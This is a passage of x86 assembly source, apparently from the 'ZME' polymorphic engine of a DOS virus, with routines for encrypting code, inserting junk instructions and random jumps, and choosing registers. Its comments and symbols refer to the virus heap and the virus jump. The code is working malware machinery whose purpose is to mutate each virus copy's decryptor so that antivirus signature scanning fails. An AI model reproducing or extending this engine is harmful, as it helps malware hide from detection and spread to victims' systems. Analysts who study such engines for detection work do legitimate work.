DO ;1 to 4 times
call RND_GET_BYTE
stosb ;add any shit after crypt data
CYCLE LU
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_fake_mov ;al=C0(add), C8(or), D0(adc), F0(xor)
call RND_GET_BYTE
MASKA al, 110xx000 ;al=C0(add), C8(or), D0(adc)
cmp al, 0D3h ;no al=D8(sbb)
DOIF A
sub al, 0D8h-0F0h ;al := F0(xor)
DONE
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_wr_and_encode_mov
call choose_word_register ; register for call offset
xchg cx, ax
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel encode_mov ;cl-register; result - 1..4 byte stored
call RND_GET_BYTE
DOIF C
call encode_zero_reg ;reg:=0, CF:=0, possible use 'ADC'
STO_BYTE 81h ;store ADD | OR | XOR R,value
;future:
;lea reg,[reg+] ?
; mov protect_reg, al
call choose_fake_mov
cmp cl, R_AX
DOIF E
; transcoding:
; C0 -> 5
; C8 -> D
; D0 -> 15
; F0 -> 35
sub al, 0C0h-5
dec di
DONE
DOELSE
mov al, 0B8h ;MOV R,value db B8;
DONE
or al, cl
stosb
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; ********
; zero reg
; add/adc/or/xor reg,mem
pblabel encode_reg_mem
call garble_more
call RND_GET_BYTE
PASS C
cmp cl, 4 ;cl=4- 87 or 8B mov r,[]
DOIF E
mov cl, [engdata.reg1]
call encode_zero_reg
call garble_more
call choose_fake_mov
cmp al, 0D0h ;adc
DOIF E
call choose_word_register
call encode_zero_reg
mov al, 0D0h
DONE
add al, (80h+80h)+3-0C0h-87h ;3, b, 13, 33
mov cx, ax
DONE
and al, cl ;cl=2- 87 or 89 mov [],r
add al, 87h ;cl=4- 87 or 8B mov r,[]
mov ah, [engdata.reg1]
shl ah, REG
or ah, [engdata.reg0]
or ah, 10000100b
cmp [engdata.reg0], R_BX
DOIF NE
and ah, 11111101b
DONE
mov byte ptr [di], opSEGCS
inc di
stosw
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_add ;al-value, add reg0, value
push ax
mov al,[engdata.reg0]
add al,0C0h
mov ah,al
mov al,81h
stosw
pop ax
stosw
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÑÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ
; ³ ZME ³ ENCODE ONE CRYPT OPERATION ³
;ÍÏÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ
pblabel encode_one_crypt
DO
call RND_GET_BYTE
and al, 00001110b
cmp al, [engdata.lastgarble]
CYCLE E
pblabel force_choice_crypt_operation
mov [engdata.lastgarble], al
xchg ax, bx
mov cx, word ptr encrypt_opcode_table[bx]
neg bl
add bl, sizeof_encrypt_opcode_table-2
mov dx, word ptr encrypt_opcode_table[bx]
and cl, not 1 ;clear size data flag
and dl, not 1 ;clear size data flag
call RND_GET_BYTE
and al, ch ; patch it into the top
and al, 3 ; this line unnecessary
or cl, al ; byte for variable opcodes
or dl, al ; byte for variable opcodes
and dh, not MASK R_M
and ch, not MASK R_M
DOIF Z
call choose_register
mov ah, [engdata.lastchoose] ;lastchoose=1, 2, 3 ³ -1 ³ ax, cx, dx,
dec ah ;al=lastchoose(1,2,3)+(0,4)-1= (0,1,2) or (4,5,6)
shl ax, REG
or ch, al
or dh, ah
; IF CRYPTLEVEL GT 8
;;;;;;;;IF YOU HAVE ANY TROUBLE - UNCOMMENT THIS;
and [engdata.useregs], not MASK REG_ENC ;SET USED 2..3
;do not reg1 in r/m field if use two register
; ENDIF
test cl, 1
DOIF NZ
and dh, 11011011b ;don't use BP, SI, DI
DONE
DONE
call choose_register
or ch, al
or ch, MASK M0D ;no use memory
or dh, [engdata.lastchoose]
dec dh
or dh, MASK M0D ;no use memory
test cl, 1 ;use word
DOIF NZ
and dh, 11111011b ;don't use BP, SI, DI
or dl, 1
DONE
cmp al, R_AX
; mov ax, cx
sto_word_ cx
DOIF E ;optimize for ax/al
test al, 01111110b
DOIF Z
and al, 1
or al, ah
MASKA al, 00xxx10x
dec di
dec di
stosb
DONE
DONE
sub si, 4
mov word ptr [si], dx
test cl, 01111110b ;al - high byte of opcode = ch
DOIF Z
call RND_GET
stosw
cmp cl, 81h ;16 bit
DOIF NE
dec di
mov ah, opNOP
DONE
mov word ptr [si][2], ax
DONE
mov [engdata.useregs], REG_GARBL_ALL
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
test [engdata.zmeflags], MASK EN_INT_GARBL
jz garble_more ;0
mov ax, 1
jmp garble_more_AX
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel garble_more_reg_all
mov [engdata.useregs], REG_ALL ;SET USED all registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel garble_more
call RND_GET_THREE_BITS
and al, not 4 ;1
pblabel garble_more_AX
push si cx
xchg cx, ax
inc cx ;garble count = 4..7
DO
push cx ; save garble count
call garble_once ; garble ***MACRO***
pop cx ; restore garble count
CYCLE LU
call finish_cJMP ; if so, finish it
call many_nonbranch_garble ; garble garble
mov bx, [engdata.nJMP_patch] ; check if pending nJMP
and bx, bx
DOIF NZ
STO_BYTE opRETN ; encode a RETN
call shit ; after RETN - any shit !
add [bx], di
mov bx, [engdata.end_of_jmp]
mov [engdata.begin_sub], bx
mov word ptr [engdata.nJMP_patch], 0
call many_nonbranch_garble ; garble
DONE
pop cx si
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel many_nonbranch_garble
call RND_GET_THREE_BITS ; do large instruction
shr ax, 1
inc ax
xchg cx, ax
DO
call not_branch_garble_with_save_cx
CYCLE LU
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel finish_cJMP ;
DO
mov ax, di ; get current location
mov bx, [engdata.cJMP_patch] ; get previous location
and bx, bx ; in not open cJmp
JZ @@retn ; cJMP_patch == 0? i.e. is
sub ax, bx ; there an unfinished cJMP?
dec ax ; calculate offset
EXIT NZ
call not_branch_garble ; fill in some instructions
CYCLE
cmp al, 7Fh ; are we close enough?
DOIF A ; if so, finish this now
mov al, 0 ; if not, encode cJMP $+2
DONE
mov [bx], al ; patch the cJMP destination
mov word ptr [engdata.cJMP_patch], 0 ; clear usage flag
@@retn:
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel do_one_byte
call choose_register
cmp al, R_AX
lea bx, onebyte_table
DOIF E ; if possible use AX as garbage
lea bx, onebyte_table_ax
DONE
call RND_GET_THREE_BITS
xlat
cmp al, 40h
GOIN E
cmp al, 48h ; DEC or INC ??
DOIF E ; all other onebyte command have opcode great 48h
xchg cx, ax
call choose_word_register
add al, cl
DONE
stosb
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÄ encode Ä branch Ä garbles ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel garble_once
call RND_GET
jp encode_CALL
jb encode_int21
jz encode_cond_jmp
jo not_branch_garble
js do_one_byte
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
test [engdata.zmeflags], MASK EN_USE_CALL
jz garble_once
cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished
jnz finish_cJMP
;Ä encode jmp near ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel encode_jmp_near
cmp word ptr [engdata.nJMP_patch], 0 ; is there an unfinished
jnz encode_cond_jmp

test [engdata.zmeflags], MASK EN_RELOCATOR
; jnz encode_jmp_nearE9 ;< jmp looptop & jmp virus (E9) if relocator
GOIN NZ
call RND_GET_BYTE
DOIF NZ
sto_byte opJMPN
mov [engdata.nJMP_patch], di ; save location to patch
xor ax, ax
call sto_min_di_2
DOELSE ; encode JMP register
call choose_wr_and_encode_mov
mov [engdata.nJMP_patch], di ; save location to patch
xor ax, ax
call setup_reg
or ah, cl ;ax= 0E0FFh
stosw
DONE
call shit ; after jmp - any shit ! <<<<<<debug
mov [engdata.end_of_jmp], di
jmp garble_once
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;Ä encode a conditional jmp ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_cond_jmp
test [engdata.zmeflags], MASK EN_USE_JMPS
jz garble_once
cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished
jnz finish_cJMP
call RND_GET_BYTE
DOIF Z
MASKA al, 010000x0 ;encode cmp/test before Jx
call force_not_branch_garble
DONE
pblabel @encode_cond_jmp
call RND_GET_BYTE
test al, 1010b ; don't encode jo/jno/jpo/jpe
jpe @encode_cond_jmp
MASKA al, 0111xxxx ; encode a conditional jmp
push ax ; opcode 72..79, 7B..7F
call choose_word_register
cmp al, R_CX
pop ax
DOIF E ; if possible use CX as garbage
MASKA al, 111000xx ; encode a conditional loop/jcxz
DONE ; opcode E0..E3
pblabel do_cond_jmp
stosb
mov [engdata.cJMP_patch], di ; save target offset
stosb
jmp many_nonbranch_garble
retn
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;Ä encode CALL ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_CALL
test [engdata.zmeflags], MASK EN_USE_CALL
jz garble_once
cmp byte ptr [di-3], opCALL ;<<<debug
jz encode_cond_jmp
cmp word ptr [engdata.begin_sub], 0 ; is there one pending?
jz encode_cond_jmp ; encode cond jmp
test [engdata.zmeflags], MASK EN_RELOCATOR
GOIN NZ
ror al, 1
DOIF C
sto_byte opCALL ; call near
mov ax, [engdata.begin_sub] ; calculate CALL offset
pblabel sto_min_di_2
sub ax, di
dec ax
dec ax
DOELSE ; encode CALL register
call choose_wr_and_encode_mov ;al-register, cx-value
mov ax, [engdata.begin_sub]
call setup_reg ;
mov ah, 0D0h ; ax=0xD0FF now
or ah, cl ;
DONE
stosw
@@ret:
ret
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel not_branch_garble ;
DO ; get random INSTRUCTION
call RND_GET_BYTE ; mostly do larger instructions normalise
and al, 00111110b ; random number is it the same as before?
cmp al, [engdata.lastgarble] ; then try again, we don't want two
CYCLE E ; of the same sort in a row
pblabel force_not_branch_garble
mov [engdata.lastgarble], al ; else remember this one and process it
;---------------------------------------------------------------------------
add ax, offset garble_table ;
xchg si, ax ;
mov cx, [si] ;
and cl, not 1 ;
call RND_GET_BYTE ;
and al, ch ;
and al, 3 ;
or cl, al ;
lea bx, [vir_heap._engdata.reg0] ;
and ch, not MASK R_M ; clear bottom 3 bits
DOIF Z ; if mod = 0
;- encode two register instruction -- or reg und memory --------------------
;----- process M0D ---------------------------------------------------------
call RND_GET_BYTE ; get random M0D
and al, MASK M0D ;
or ch, al ; fill in the field
rol al, 2 ;
mov dl, al ; dl=M0D
cmp al, 11b ; use two register ?
DOIF B ; if use memory, i.e. [bx+si]
and cl, not 1 ; change to byte data "byte sized"
DONE ; for not MOV AX,[0FFFFh]
;----- process Reg ---------------------------------------------------------
call choose_register ;
test byte ptr [si], 00000100b
DOIF NZ ; can we use any register as 1st ?
call RND_GET_THREE_BITS
DONE ; yes! any! // for (test/cmp) operation
mov [engdata.lastchoose], al
shl al, REG ; move register into the reg field
;----- process R/M ---------------------------------------------------------
push ax
DO
call RND_GET_BYTE ; get random R/M
and al, MASK R_M ; in memory access,
cmp al, [engdata.lastchoose]
CYCLE E ;don't "mov ax,ax" etc
or ch, al ;
cmp al, 110b ; if (R/M = 6)
PASS NE ;
test ch, MASK M0D ; and MOD = 00
DOIF E ;
mov dl, 2 ; need two byte after instruction
DONE ;
;---------------------------------------------------------------------------
cmp ch, 0C0h
DOIF B
call RND_GET_BYTE
DOIF P
MASKA al,0010x110 ; 26, 2E, 36, 3E - segment prefix
stosb ;segcs | seges
DONE
DONE
pop ax
DOELSE
;- encode one register instruction -------------- ! no memory ! ------------
call choose_register ;
xor dl, dl ; no data bytes
test byte ptr [si], 1 ;
DOIF Z ; if shift, not, neg inctruction
inc dx ; assume byte
test cl, 1 ; byte or word of data?
DOIF NZ ; continue if so
inc dx ; INC DX is better!!!
DONE ;
DONE
cmp si, offset enc_mov_imm
DOIF E
test cl, 1
DOIF NE
add al, 8 ;word
DONE
add al, 0B0h
mov cl, al
jmp less_1
DONE
;---------------------------------------------------------------------------
cmp al, R_AX
DOIF E
test cl, 01111110b
DOIF Z
and cl, 1
or cl, ch
MASKA cl, 00xxx10x
jmp less_1
DONE
cmp si, offset enc_test
DOIF E
sub cl, 0F6h-0A8h
pblabel less_1
call RND_GET_BYTE
mov ch, al
dec dx
DONE
DONE
;- store instruction -------------------------------------------------------
DONE ;
or ch, al ; 1st register
xchg cx, ax ;
stosw ; write the instruction
;- store data bytes after instruction --------------------------------------
pblabel store_data_bytes_after_instruction
and dl, dl ; needs data bytes?
DOIF NZ ;
cmp dl, 3 ; check length of instruction
DOIF NE ;
call RND_GET_BYTE ;
stosb ; write the random byte
dec dl ;
CYCLE NZ ;
DONE ;
retn ;
;endp ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_register
call choose_word_register
test cl, 1 ; byte or word register?
DOIF Z ; if word, we are okay
cmp al, R_SP
DOIF AE ; is a SI, DI, BP,
pop bx
DONE
and ah, 4 ; change xL to xH
or al, ah ; make either byte or word register
DONE
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_word_register
;
; 1..3 - crypt registers
; 4..6 - garbage registers
; 0..6 - all registers
; 7654321
;useregs 01111111b
; ÀÁÁÁÁÁÁÄÄÄ"1" - possible use reg6..reg0
; DO
pblabel doo
mov bl,[engdata.useregs]
call RND_GET_THREE_BITS ; get random number
clc ; CF=0
xchg cx,ax
shr bl,cl
xchg cx,ax
jnc doo
dec ax
lea bx, [vir_heap._engdata.reg0]
add bx, ax
;ifd
cmp byte ptr [bx],-1
;pub
protect_reg equ byte ptr $-1
je doo
cmp al,[engdata.lastchoose]
je doo
mov [engdata.lastchoose],al
mov al,[bx]
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel setup_reg
add ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
sub ax, [engdata.targetptr]
stosw
pblabel not_branch_garble_with_save_cx
push cx
call not_branch_garble
pop cx
mov ax, 0E0FFh ; encode JMP register
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_push ;bx
DO
push bx
call choose_word_register
pop bx
cmp al,R_CX
CYCLE BE ;te:R_AX or R_CX
push ax
xchg cx, ax
call encode_mov
xchg ax, bx
pblabel push_any_sux1
stosw
pop ax
pblabel push_any_sux ;al-register for push
add al, opPUSH_AX ;push sux
stosb
ret
jmp many_nonbranch_garble
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_push_addr
call choose_word_register
push ax
xchg cx,ax
call encode_mov
mov bx,di
mov ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
sub ax, [engdata.targetptr]
jmp push_any_sux1
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_far_jmp ;cx:dx
call RND_GET
DOIF P
push dx
mov bx, cx
call encode_push
pop bx
call encode_push
STO_BYTE opRETF
DOELSE
STO_BYTE opJMPFAR
xchg ax, dx
stosw
xchg ax, cx
stosw
DONE
jmp shit
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_function
call rnd_get_byte
;- choose function
and al, 0Fh
add ax, offset int21func
cmp ax, offset cf_1
xchg si, ax
;- setup CF
DOIF B
call choose_word_register
xchg cx, ax
call encode_zero_reg ;encode CF=0
DONE
;comment #
;- setup DX
;- enc mov dx,0..7fff
;- need for deldir, delfile, findfirst
cmp si,offset setdx
DOIF AE
mov cl, R_DX
call encode_mov
call RND_GET
shr ax, 1
stosw
DONE
;#
test di,ax ;pseudo-random
;- setup reg AH
mov al, opMOV_AHimm ;mov ah,xx
DOIF P
sub cl, cl ;mov cl,R_AX
call encode_mov ;mov ax,xxxx
call RND_GET_BYTE
DONE

stosb
movsb
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel int_any_reg
db 8h, 1ch, 28h, 2Bh
db 11h, 12h
pblabel with_setup
db 16h, 17h
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel cpm
db 18h,1dh,1eh,20h
pblabel int21func ;db 10h dup (30h);function return cf=1 or no change cf
db 51h, 62h, 30h ;- use as cmp too
db 19h,2ah,2ch, 36h,4dh,0dh,23h, 0bh; 54,
pblabel cf_1 ;function return cf=1 /--/--/- need setup(DX<>-1)
;46,
db 5ch
pblabel setdx ;db 5c,5c,5c
db 3Dh, 41h,4eh,3Ah ;4Bh, -sux
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

